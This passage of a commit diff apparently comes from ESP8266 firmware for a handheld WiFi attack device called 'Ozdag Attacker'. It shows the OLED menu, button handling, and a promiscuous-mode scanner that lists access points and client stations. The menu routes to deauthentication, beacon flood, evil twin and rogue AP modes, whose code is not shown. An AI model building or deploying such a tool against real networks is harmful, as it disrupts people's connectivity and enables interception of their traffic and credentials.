// --- Draw Scanner UI ---
|
||||
void scanner_draw() {
|
||||
oled.setFont(u8g2_font_5x7_tf);
|
||||
|
||||
char buffer[40];
|
||||
snprintf(buffer, sizeof(buffer), "Ch:%d APs:%d STAs:%d", current_channel, ap_count, sta_count);
|
||||
oled.drawStr(0, 23, buffer);
|
||||
|
||||
oled.drawHLine(0, 25, SCREEN_WIDTH);
|
||||
|
||||
int yPos = 33;
|
||||
int line_height = 8;
|
||||
int total_items = ap_count + sta_count;
|
||||
|
||||
const int lines_per_item = 2;
|
||||
const int gap_between_items = 1;
|
||||
const int item_block_height = (line_height * lines_per_item) + gap_between_items;
|
||||
const int items_to_display = 2;
|
||||
|
||||
for (int i = 0; i < items_to_display; ++i) {
|
||||
int current_item_index = display_offset + i;
|
||||
if (current_item_index >= total_items) break;
|
||||
|
||||
bool is_selected = (current_item_index == selected_list_index);
|
||||
const char* select_char = is_selected ? ">" : " ";
|
||||
|
||||
if (current_item_index < ap_count) {
|
||||
AccessPointInfo* ap = &ap_list[current_item_index];
|
||||
ap->selected = is_selected;
|
||||
|
||||
String encStr = encryption_to_string(ap->encryption);
|
||||
snprintf(buffer, sizeof(buffer), "%s%-16.16s %s", select_char, ap->ssid[0] ? ap->ssid : "[Hidden]", encStr.c_str());
|
||||
oled.drawStr(0, yPos, buffer);
|
||||
|
||||
snprintf(buffer, sizeof(buffer), " %s R:%d", macToString(ap->bssid).c_str(), ap->rssi);
|
||||
oled.drawStr(0, yPos + line_height, buffer);
|
||||
|
||||
} else {
|
||||
int sta_index = current_item_index - ap_count;
|
||||
StationInfo* sta = &sta_list[sta_index];
|
||||
sta->selected = is_selected;
|
||||
|
||||
snprintf(buffer, sizeof(buffer), "%s%s R:%d", select_char, macToString(sta->mac).c_str(), sta->rssi);
|
||||
oled.drawStr(0, yPos, buffer);
|
||||
|
||||
if (sta->bssid_ap[0] != 0 || sta->bssid_ap[1] != 0) {
|
||||
snprintf(buffer, sizeof(buffer), " AP: %s", macToString(sta->bssid_ap).c_str());
|
||||
oled.drawStr(0, yPos + line_height, buffer);
|
||||
} else {
|
||||
oled.drawStr(0, yPos + line_height, " AP: [Scanning...]");
|
||||
}
|
||||
}
|
||||
yPos += item_block_height;
|
||||
}
|
||||
|
||||
if (total_items > items_to_display) {
|
||||
if (display_offset > 0) {
|
||||
oled.drawTriangle(SCREEN_WIDTH - 6, 27, SCREEN_WIDTH - 9, 31, SCREEN_WIDTH - 3, 31);
|
||||
}
|
||||
if (display_offset + items_to_display < total_items) {
|
||||
oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 1, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 5, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 5);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- Handle Button Input for Scanner Mode ---
|
||||
void scanner_handle_input(ButtonPressType pressType) {
|
||||
if (!scanner_active) return;
|
||||
|
||||
if (pressType != ButtonPressType::NO_PRESS) {
|
||||
}
|
||||
|
||||
int total_items = ap_count + sta_count;
|
||||
if (total_items == 0 && pressType != ButtonPressType::LONG_PRESS) return;
|
||||
|
||||
const int items_per_page = 2;
|
||||
|
||||
if (pressType == ButtonPressType::SHORT_PRESS) {
|
||||
selected_list_index = (selected_list_index + 1) % total_items;
|
||||
|
||||
if (selected_list_index < display_offset) {
|
||||
display_offset = selected_list_index;
|
||||
} else if (selected_list_index >= display_offset + items_per_page) {
|
||||
display_offset = selected_list_index - items_per_page + 1;
|
||||
if (display_offset > total_items - items_per_page) {
|
||||
display_offset = total_items - items_per_page;
|
||||
}
|
||||
}
|
||||
if (display_offset < 0) display_offset = 0;
|
||||
|
||||
needsRedraw = true;
|
||||
} else if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
scanner_stop();
|
||||
currentState = UIState::MAIN_MENU;
|
||||
currentMenuIndex = 0;
|
||||
needsRedraw = true;
|
||||
}
|
||||
}
|
148
src/scanner.h
Normal file
148
src/scanner.h
Normal file
@ -0,0 +1,148 @@
|
||||
#ifndef SCANNER_H
|
||||
#define SCANNER_H
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <ESP8266WiFi.h> // For WiFi functions and types
|
||||
#include "config.h" // Include config for other potential settings
|
||||
#include "ui.h" // For ButtonPressType
|
||||
#include <vector>
|
||||
|
||||
// --- Constants ---
|
||||
#define MAX_APS 50 // Maximum number of APs to store
|
||||
#define MAX_STAS 30 // Maximum number of STAs to store
|
||||
#define MAX_SSID_LEN 32
|
||||
#define SCAN_CHANNEL_HOP_INTERVAL 500 // ms
|
||||
#define MAX_DISPLAY_LINES 4 // Number of APs/STAs to show on screen at once
|
||||
#define SCAN_CHANNEL_TIME 150 // ms per channel
|
||||
#define SCAN_PROBE_DELAY 10 // ms between probe requests
|
||||
|
||||
// --- WiFi Packet Structures (Simplified) ---
|
||||
// Structure for the basic 802.11 frame control field
|
||||
typedef struct {
|
||||
uint8_t protocol_version : 2;
|
||||
uint8_t type : 2;
|
||||
uint8_t subtype : 4;
|
||||
uint8_t flags;
|
||||
} __attribute__((packed)) frame_control_t;
|
||||
|
||||
// Structure for the standard 802.11 MAC header (adjust based on frame type)
|
||||
typedef struct {
|
||||
frame_control_t frame_control;
|
||||
uint16_t duration_id;
|
||||
uint8_t addr1[6]; // Receiver MAC
|
||||
uint8_t addr2[6]; // Transmitter MAC
|
||||
uint8_t addr3[6]; // BSSID or Source/Dest MAC depending on frame type
|
||||
uint16_t seq_ctrl;
|
||||
// Optional fields like addr4, QoS control, HT control follow
|
||||
} __attribute__((packed)) mac_header_t;
|
||||
|
||||
// Structure for Beacon/Probe Response fixed parameters
|
||||
typedef struct {
|
||||
uint64_t timestamp;
|
||||
uint16_t beacon_interval;
|
||||
uint16_t capability_info;
|
||||
// Tagged parameters follow (SSID, Rates, Channel, etc.)
|
||||
} __attribute__((packed)) beacon_probe_fixed_params_t;
|
||||
|
||||
// Structure to hold SDK packet info
|
||||
typedef struct {
|
||||
signed rssi : 8; // signal intensity of packet
|
||||
unsigned rate : 4; // data rate
|
||||
unsigned is_group : 1;
|
||||
unsigned : 1; // reserve
|
||||
unsigned sig_mode : 2; // 0:is not 11n packet; 1:is 11n packet
|
||||
unsigned legacy_length : 12; // if not 11n packet, shows length of packet.
|
||||
unsigned damatch0 : 1;
|
||||
unsigned damatch1 : 1;
|
||||
unsigned bssidmatch0 : 1;
|
||||
unsigned bssidmatch1 : 1;
|
||||
unsigned mcs : 7; // if is 11n packet, shows the modulation and code scheme index
|
||||
unsigned cwb : 1; // if is 11n packet, shows the channel bandwidth
|
||||
unsigned ht_length : 16; // if is 11n packet, shows length
|
||||
unsigned smoothing : 1;
|
||||
unsigned not_sounding : 1;
|
||||
unsigned : 1; // reserve
|
||||
unsigned aggregation : 1; // aggregation
|
||||
unsigned stbc : 2; // space time block code
|
||||
unsigned fec_coding : 1; // forward error correction code
|
||||
unsigned sgi : 1; // short guide interval
|
||||
unsigned rxend_state : 8;
|
||||
unsigned ampdu_cnt : 8;
|
||||
unsigned channel : 4; // channel number
|
||||
unsigned : 12; // reserve
|
||||
} wifi_pkt_rx_ctrl_t;
|
||||
|
||||
typedef struct {
|
||||
wifi_pkt_rx_ctrl_t rx_ctrl;
|
||||
uint8_t payload[0]; // Flexible array member for packet data
|
||||
} wifi_promiscuous_pkt_t;
|
||||
|
||||
|
||||
// --- Data Structures for Found Devices ---
|
||||
enum class EncryptionType {
|
||||
OPEN,
|
||||
WEP,
|
||||
WPA_PSK,
|
||||
WPA2_PSK,
|
||||
WPA_WPA2_PSK,
|
||||
WPA2_ENTERPRISE, // Add more as needed
|
||||
UNKNOWN
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
uint8_t bssid[6];
|
||||
char ssid[MAX_SSID_LEN + 1];
|
||||
uint8_t channel;
|
||||
int8_t rssi;
|
||||
EncryptionType encryption;
|
||||
uint32_t last_seen;
|
||||
uint16_t packet_count;
|
||||
bool selected; // For UI highlighting
|
||||
} AccessPointInfo;
|
||||
|
||||
typedef struct {
|
||||
uint8_t mac[6];
|
||||
uint8_t bssid_ap[6]; // BSSID of the AP this station is associated with (if known)
|
||||
int8_t rssi;
|
||||
uint32_t last_seen;
|
||||
uint16_t packet_count;
|
||||
bool selected; // For UI highlighting
|
||||
} StationInfo;
|
||||
|
||||
// --- Global Variables (declared here, defined in .cpp) ---
|
||||
extern AccessPointInfo ap_list[MAX_APS];
|
||||
extern uint8_t ap_count;
|
||||
extern StationInfo sta_list[MAX_STAS];
|
||||
extern uint8_t sta_count;
|
||||
extern uint8_t current_channel;
|
||||
extern bool scanner_active;
|
||||
|
||||
// --- Function Declarations ---
|
||||
void scanner_init();
|
||||
void scanner_update();
|
||||
void scanner_stop();
|
||||
void scanner_draw(); // Function to draw scanner UI
|
||||
void scanner_handle_input(ButtonPressType pressType); // Handle button presses
|
||||
|
||||
// Internal functions
|
||||
void scanner_set_channel(uint8_t channel);
|
||||
void packet_capture_callback(uint8_t *buf, uint16_t len); // SDK callback
|
||||
void process_wifi_packet(uint8_t *buf, uint16_t len);
|
||||
int find_ap(const uint8_t* bssid);
|
||||
int find_sta(const uint8_t* mac);
|
||||
void add_or_update_ap(const mac_header_t* header, const beacon_probe_fixed_params_t* params, int8_t rssi, uint8_t channel, const uint8_t* tagged_params, uint16_t tagged_params_len);
|
||||
void add_or_update_sta(const uint8_t* mac, const uint8_t* bssid, int8_t rssi);
|
||||
EncryptionType get_encryption_type(const uint16_t capabilities, const uint8_t* tagged_params, uint16_t tagged_params_len);
|
||||
String encryption_to_string(EncryptionType enc);
|
||||
|
||||
// SDK function declarations
|
||||
extern "C" {
|
||||
#include "user_interface.h" // Required for wifi_promiscuous_enable, etc.
|
||||
typedef void (*wifi_promiscuous_cb_t)(uint8_t *buf, uint16_t len);
|
||||
void wifi_promiscuous_enable(uint8 promiscuous);
|
||||
void wifi_set_promiscuous_rx_cb(wifi_promiscuous_cb_t cb);
|
||||
bool wifi_set_channel(uint8 channel);
|
||||
void wifi_sniffer_packet_handler(uint8_t *buff, uint16_t len);
|
||||
}
|
||||
|
||||
#endif // SCANNER_H
|
364
src/ui.cpp
Normal file
364
src/ui.cpp
Normal file
@ -0,0 +1,364 @@
|
||||
#include "ui.h"
|
||||
#include "config.h"
|
||||
#include "utils.h"
|
||||
#include <U8g2lib.h>
|
||||
#include <Wire.h>
|
||||
|
||||
#include "scanner.h"
|
||||
#include "deauth.h"
|
||||
#include "beacon.h"
|
||||
#include "mitm.h"
|
||||
#include "rogue_ap.h"
|
||||
|
||||
// --- OLED Instance ---
|
||||
U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled(U8G2_R0, /* reset=*/ U8X8_PIN_NONE, /* scl=*/ OLED_SCL_PIN, /* sda=*/ OLED_SDA_PIN);
|
||||
|
||||
// --- Global Flag for Redraw ---
|
||||
bool needsRedraw = true;
|
||||
|
||||
// --- Menu Definition ---
|
||||
const char* mainMenuItems[] = {
|
||||
"WiFi Scanner",
|
||||
"Deauth Attack",
|
||||
"Beacon Flood",
|
||||
"Evil Twin",
|
||||
"Rogue AP"
|
||||
};
|
||||
const int mainMenuLength = sizeof(mainMenuItems) / sizeof(mainMenuItems[0]);
|
||||
|
||||
// --- State Variables ---
|
||||
UIState currentState = UIState::MAIN_MENU;
|
||||
int currentMenuIndex = 0;
|
||||
|
||||
// --- Button State ---
|
||||
static ButtonPressType lastPressType = ButtonPressType::NO_PRESS;
|
||||
static bool buttonState = HIGH;
|
||||
static bool lastButtonState = HIGH;
|
||||
static unsigned long buttonDownTime = 0;
|
||||
static unsigned long lastDebounceTime = 0;
|
||||
static unsigned long pressStartTime = 0;
|
||||
static int currentButtonState = HIGH;
|
||||
|
||||
// --- Battery ---
|
||||
static int batteryPercentage = -1;
|
||||
static unsigned long lastBatteryReadTime = 0;
|
||||
|
||||
// --- Initialization ---
|
||||
void ui_init() {
|
||||
pinMode(BUTTON_PIN, INPUT_PULLUP);
|
||||
Serial.println("UI Initialized.");
|
||||
needsRedraw = true;
|
||||
}
|
||||
|
||||
// --- Main Update Loop for UI ---
|
||||
void ui_update() {
|
||||
unsigned long currentMillis = millis();
|
||||
|
||||
// --- Button Handling ---
|
||||
currentButtonState = digitalRead(BUTTON_PIN);
|
||||
|
||||
static int prevRawState = HIGH;
|
||||
if (currentButtonState != prevRawState) {
|
||||
prevRawState = currentButtonState;
|
||||
}
|
||||
|
||||
ButtonPressType currentPress = ButtonPressType::NO_PRESS;
|
||||
|
||||
if (currentButtonState != lastButtonState) {
|
||||
lastDebounceTime = currentMillis;
|
||||
}
|
||||
|
||||
if ((currentMillis - lastDebounceTime) > DEBOUNCE_TIME) {
|
||||
if (currentButtonState != buttonState) {
|
||||
buttonState = currentButtonState;
|
||||
|
||||
if (buttonState == LOW) {
|
||||
pressStartTime = currentMillis;
|
||||
} else {
|
||||
if (pressStartTime > 0) {
|
||||
unsigned long pressDuration = currentMillis - pressStartTime;
|
||||
if (pressDuration >= LONG_PRESS_TIME) {
|
||||
currentPress = ButtonPressType::LONG_PRESS;
|
||||
} else {
|
||||
currentPress = ButtonPressType::SHORT_PRESS;
|
||||
}
|
||||
pressStartTime = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
lastButtonState = currentButtonState;
|
||||
|
||||
if (currentPress != ButtonPressType::NO_PRESS) {
|
||||
switch (currentState) {
|
||||
case UIState::MAIN_MENU:
|
||||
if (currentPress == ButtonPressType::SHORT_PRESS) {
|
||||
currentMenuIndex = (currentMenuIndex + 1) % mainMenuLength;
|
||||
needsRedraw = true;
|
||||
} else if (currentPress == ButtonPressType::LONG_PRESS) {
|
||||
UIState nextState = (UIState)(currentMenuIndex + 1);
|
||||
currentState = nextState;
|
||||
currentMenuIndex = 0;
|
||||
needsRedraw = true;
|
||||
}
|
||||
break;
|
||||
case UIState::SCANNER_MODE:
|
||||
if (currentPress == ButtonPressType::LONG_PRESS) {
|
||||
scanner_stop();
|
||||
currentState = UIState::MAIN_MENU;
|
||||
currentMenuIndex = 0;
|
||||
needsRedraw = true;
|
||||
} else {
|
||||
scanner_handle_input(currentPress);
|
||||
}
|
||||
break;
|
||||
case UIState::DEAUTH_MODE:
|
||||
deauth_handle_input(currentPress);
|
||||
break;
|
||||
case UIState::BEACON_MODE:
|
||||
beacon_handle_input(currentPress);
|
||||
break;
|
||||
case UIState::MITM_MODE:
|
||||
mitm_handle_input(currentPress);
|
||||
break;
|
||||
case UIState::ROGUE_AP_MODE:
|
||||
rogue_ap_handle_input(currentPress);
|
||||
break;
|
||||
default:
|
||||
if (currentPress == ButtonPressType::LONG_PRESS) {
|
||||
scanner_stop();
|
||||
deauth_stop();
|
||||
beacon_stop();
|
||||
mitm_stop();
|
||||
rogue_ap_stop();
|
||||
|
||||
currentState = UIState::MAIN_MENU;
|
||||
currentMenuIndex = 0;
|
||||
needsRedraw = true;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Update Battery periodically
|
||||
if (millis() - lastBatteryReadTime > 5000 || batteryPercentage == -1) {
|
||||
float voltage = readBatteryVoltage();
|
||||
int newPercentage = estimateBatteryPercentage(voltage);
|
||||
if (newPercentage != batteryPercentage) {
|
||||
batteryPercentage = newPercentage;
|
||||
needsRedraw = true;
|
||||
}
|
||||
lastBatteryReadTime = millis();
|
||||
}
|
||||
|
||||
if (needsRedraw) {
|
||||
oled.clearBuffer();
|
||||
|
||||
const char* currentTitle = "Ozdag Attacker";
|
||||
switch (currentState) {
|
||||
case UIState::MAIN_MENU: currentTitle = "Main Menu"; break;
|
||||
case UIState::SCANNER_MODE: currentTitle = "WiFi Scanner"; break;
|
||||
case UIState::DEAUTH_MODE: currentTitle = "Deauth Attack"; break;
|
||||
case UIState::BEACON_MODE: currentTitle = "Beacon Flood"; break;
|
||||
case UIState::MITM_MODE: currentTitle = "Evil Twin"; break;
|
||||
case UIState::ROGUE_AP_MODE:currentTitle = "Rogue AP"; break;
|
||||
}
|
||||
ui_draw_header(currentTitle);
|
||||
|
||||
switch (currentState) {
|
||||
case UIState::MAIN_MENU:
|
||||
ui_draw_main_menu();
|
||||
break;
|
||||
case UIState::SCANNER_MODE:
|
||||
scanner_draw();
|
||||
break;
|
||||
case UIState::DEAUTH_MODE:
|
||||
deauth_draw();
|
||||
break;
|
||||
case UIState::BEACON_MODE:
|
||||
beacon_draw();
|
||||
break;
|
||||
case UIState::MITM_MODE:
|
||||
mitm_draw();
|
||||
break;
|
||||
case UIState::ROGUE_AP_MODE:
|
||||
rogue_ap_draw();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
ui_draw_battery(SCREEN_WIDTH - 18, 0, batteryPercentage);
|
||||
|
||||
oled.sendBuffer();
|
||||
needsRedraw = false;
|
||||
}
|
||||
}
|
||||
|
||||
// --- Drawing Functions ---
|
||||
void ui_draw_header(const char* title) {
|
||||
oled.setFont(u8g2_font_6x10_tf);
|
||||
oled.drawHLine(0, 12, SCREEN_WIDTH);
|
||||
oled.drawStr(0, 10, title);
|
||||
}
|
||||
|
||||
void ui_draw_battery(int x, int y, int percentage) {
|
||||
oled.drawFrame(x, y, 18, 9);
|
||||
oled.drawBox(x + 18, y + 2, 1, 5);
|
||||
|
||||
if (percentage >= 0) {
|
||||
int width = map(percentage, 0, 100, 0, 16);
|
||||
if (width > 0) {
|
||||
oled.drawBox(x + 1, y + 1, width, 7);
|
||||
}
|
||||
} else {
|
||||
oled.drawStr(x + 6, y + 8, "?");
|
||||
}
|
||||
}
|
||||
|
||||
void ui_draw_main_menu() {
|
||||
oled.setFont(u8g2_font_6x10_tf);
|
||||
|
||||
const int itemsPerPage = 4;
|
||||
int firstItem = (currentMenuIndex / itemsPerPage) * itemsPerPage;
|
||||
|
||||
for (int i = 0; i < itemsPerPage; ++i) {
|
||||
int itemIndex = firstItem + i;
|
||||
if (itemIndex >= mainMenuLength) break;
|
||||
|
||||
int yPos = 24 + (i * 11);
|
||||
|
||||
if (itemIndex == currentMenuIndex) {
|
||||
oled.drawStr(0, yPos, ">");
|
||||
oled.drawStr(8, yPos, mainMenuItems[itemIndex]);
|
||||
} else {
|
||||
oled.drawStr(8, yPos, mainMenuItems[itemIndex]);
|
||||
}
|
||||
}
|
||||
|
||||
if (mainMenuLength > itemsPerPage) {
|
||||
if (firstItem > 0) {
|
||||
oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20);
|
||||
}
|
||||
if (firstItem + itemsPerPage < mainMenuLength) {
|
||||
oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 1, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 5, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 5);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- Getters ---
|
||||
UIState ui_get_current_state() {
|
||||
return currentState;
|
||||
}
|
||||
|
||||
int ui_get_menu_index() {
|
||||
return currentMenuIndex;
|
||||
}
|
||||
|
||||
// --- Button Update Function ---
|
||||
void button_update() {
|
||||
bool reading = digitalRead(BUTTON_PIN);
|
||||
|
||||
if (reading != lastButtonState) {
|
||||
lastDebounceTime = millis();
|
||||
}
|
||||
|
||||
if ((millis() - lastDebounceTime) > DEBOUNCE_TIME) {
|
||||
if (reading != buttonState) {
|
||||
buttonState = reading;
|
||||
|
||||
if (buttonState == LOW) {
|
||||
buttonDownTime = millis();
|
||||
} else {
|
||||
unsigned long pressDuration = millis() - buttonDownTime;
|
||||
|
||||
if (pressDuration >= LONG_PRESS_TIME) {
|
||||
lastPressType = ButtonPressType::LONG_PRESS;
|
||||
} else if (pressDuration >= DEBOUNCE_TIME) {
|
||||
lastPressType = ButtonPressType::SHORT_PRESS;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
lastButtonState = reading;
|
||||
}
|
||||
|
||||
// --- Button Get Press Function ---
|
||||
ButtonPressType button_get_press() {
|
||||
ButtonPressType press = lastPressType;
|
||||
if (press != ButtonPressType::NO_PRESS) {
|
||||
lastPressType = ButtonPressType::NO_PRESS;
|
||||
}
|
||||
return press;
|
||||
}
|
||||
|
||||
void handle_button() {
|
||||
ButtonPressType press = button_get_press();
|
||||
|
||||
if (press != ButtonPressType::NO_PRESS) {
|
||||
switch (currentState) {
|
||||
case UIState::MAIN_MENU:
|
||||
if (press == ButtonPressType::SHORT_PRESS) {
|
||||
currentMenuIndex = (currentMenuIndex + 1) % mainMenuLength;
|
||||
needsRedraw = true;
|
||||
} else if (press == ButtonPressType::LONG_PRESS) {
|
||||
currentState = (UIState)(currentMenuIndex + 1);
|
||||
currentMenuIndex = 0;
|
||||
needsRedraw = true;
|
||||
}
|
||||
break;
|
||||
case UIState::SCANNER_MODE:
|
||||
break;
|
||||
case UIState::DEAUTH_MODE:
|
||||
deauth_handle_input(press);
|
||||
break;
|
||||
case UIState::BEACON_MODE:
|
||||
beacon_handle_input(press);
|
||||
break;
|
||||
case UIState::MITM_MODE:
|
||||
mitm_handle_input(press);
|
||||
break;
|
||||
case UIState::ROGUE_AP_MODE:
|
||||
rogue_ap_handle_input(press);
|
||||
break;
|
||||
default:
|
||||
if (press == ButtonPressType::LONG_PRESS) {
|
||||
currentState = UIState::MAIN_MENU;
|
||||
currentMenuIndex = 0;
|
||||
needsRedraw = true;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void draw_ui() {
|
||||
oled.clearBuffer();
|
||||
|
||||
switch (currentState) {
|
||||
case UIState::MAIN_MENU:
|
||||
ui_draw_main_menu();
|
||||
break;
|
||||
case UIState::SCANNER_MODE:
|
||||
scanner_draw();
|
||||
break;
|
||||
case UIState::DEAUTH_MODE:
|
||||
deauth_draw();
|
||||
break;
|
||||
case UIState::BEACON_MODE:
|
||||
beacon_draw();
|
||||
break;
|
||||
case UIState::MITM_MODE:
|
||||
mitm_draw();
|
||||
break;
|
||||
case UIState::ROGUE_AP_MODE:
|
||||
rogue_ap_draw();
|
||||
break;
|
||||
default:
|
||||
oled.setFont(u8g2_font_6x10_tf);
|
||||
oled.drawStr(0, 30, "Unknown State");
|
||||
break;
|
||||
}
|
||||
|
||||
oled.sendBuffer();
|
||||
}
|
59
src/ui.h
Normal file
59
src/ui.h
Normal file
@ -0,0 +1,59 @@
|
||||
#ifndef UI_H
|
||||
#define UI_H
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <U8g2lib.h> // Include U8g2 library
|
||||
#include "config.h" // For button pin, etc.
|
||||
|
||||
// --- UI State Enum ---
|
||||
enum class UIState {
|
||||
MAIN_MENU,
|
||||
SCANNER_MODE,
|
||||
DEAUTH_MODE,
|
||||
BEACON_MODE,
|
||||
MITM_MODE,
|
||||
ROGUE_AP_MODE
|
||||
// Add other states as needed
|
||||
};
|
||||
|
||||
// --- Button States ---
|
||||
enum class ButtonPressType {
|
||||
NO_PRESS,
|
||||
SHORT_PRESS,
|
||||
LONG_PRESS
|
||||
};
|
||||
|
||||
// --- Global UI Variables (defined in ui.cpp) ---
|
||||
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled; // Make OLED object accessible
|
||||
extern UIState currentState; // <<< Make sure this is extern
|
||||
extern int currentMenuIndex; // <<< Make sure this is extern
|
||||
extern bool needsRedraw; // <<< Make sure this is extern
|
||||
extern const char *mainMenuItems[]; // Declare main menu items array
|
||||
extern const int mainMenuLength; // Declare main menu length
|
||||
|
||||
// --- Function Declarations ---
|
||||
|
||||
// Initialization
|
||||
void ui_init();
|
||||
|
||||
// Main update loop for UI (handles button presses, updates display)
|
||||
void ui_update();
|
||||
|
||||
// Drawing functions
|
||||
void ui_draw_header(const char* title);
|
||||
void ui_draw_battery(int x, int y, int percentage);
|
||||
void ui_draw_main_menu();
|
||||
// Add drawing functions for each mode/state later
|
||||
|
||||
// Getters
|
||||
UIState ui_get_current_state();
|
||||
int ui_get_menu_index();
|
||||
|
||||
// Button Function Declarations
|
||||
void button_update();
|
||||
ButtonPressType button_get_press();
|
||||
|
||||
void handle_button(); // <<< DECLARE button handling function
|
||||
void draw_ui(); // <<< DECLARE main UI drawing function
|
||||
|
||||
#endif // UI_H
|
48
src/utils.cpp
Normal file
48
src/utils.cpp
Normal file
@ -0,0 +1,48 @@
|
||||
#include "utils.h"
|
||||
#include "config.h"
|
||||
|
||||
// --- Battery ---
|
||||
float readBatteryVoltage() {
|
||||
int raw = analogRead(BATTERY_PIN);
|
||||
float voltage = raw * (VOLTAGE_MAX / 1024.0);
|
||||
return voltage;
|
||||
}
|
||||
|
||||
int estimateBatteryPercentage(float voltage) {
|
||||
int percentage = map(voltage * 100, VOLTAGE_MIN * 100, VOLTAGE_MAX * 100, 0, 100);
|
||||
if (percentage < 0) percentage = 0;
|
||||
if (percentage > 100) percentage = 100;
|
||||
return percentage;
|
||||
}
|
||||
|
||||
// --- MAC Address Formatting ---
|
||||
String macToString(const uint8_t* mac) {
|
||||
char buf[18];
|
||||
snprintf(buf, sizeof(buf), "%02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
return String(buf);
|
||||
}
|
||||
|
||||
bool stringToMac(const String& macStr, uint8_t* mac) {
|
||||
if (macStr.length() != 17) return false;
|
||||
int byteNum = 0;
|
||||
for (int i = 0; i < 17; i += 3) {
|
||||
if (byteNum >= 6) return false;
|
||||
String byteStr = macStr.substring(i, i + 2);
|
||||
char* endPtr;
|
||||
mac[byteNum] = strtol(byteStr.c_str(), &endPtr, 16);
|
||||
if (*endPtr != '\0') return false;
|
||||
byteNum++;
|
||||
}
|
||||
return byteNum == 6;
|
||||
}
|
||||
|
||||
// --- Other Helpers ---
|
||||
void printHex(uint8_t* data, size_t len) {
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
if (data[i] < 0x10) Serial.print("0");
|
||||
Serial.print(data[i], HEX);
|
||||
Serial.print(" ");
|
||||
}
|
||||
Serial.println();
|
||||
}
|
20
src/utils.h
Normal file
20
src/utils.h
Normal file
@ -0,0 +1,20 @@
|
||||
#ifndef UTILS_H
|
||||
#define UTILS_H
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <ESP8266WiFi.h> // For MAC address type
|
||||
|
||||
// --- Battery ---
|
||||
float readBatteryVoltage();
|
||||
int estimateBatteryPercentage(float voltage);
|
||||
|
||||
// --- MAC Address Formatting ---
|
||||
String macToString(const uint8_t* mac);
|
||||
bool stringToMac(const String& macStr, uint8_t* mac);
|
||||
|
||||
// --- Other Helpers ---
|
||||
void printHex(uint8_t* data, size_t len); // For debugging
|
||||
|
||||
void utils_random_mac(uint8_t* mac);
|
||||
|
||||
#endif // UTILS_H
|
Loading…
x
Reference in New Issue
Block a user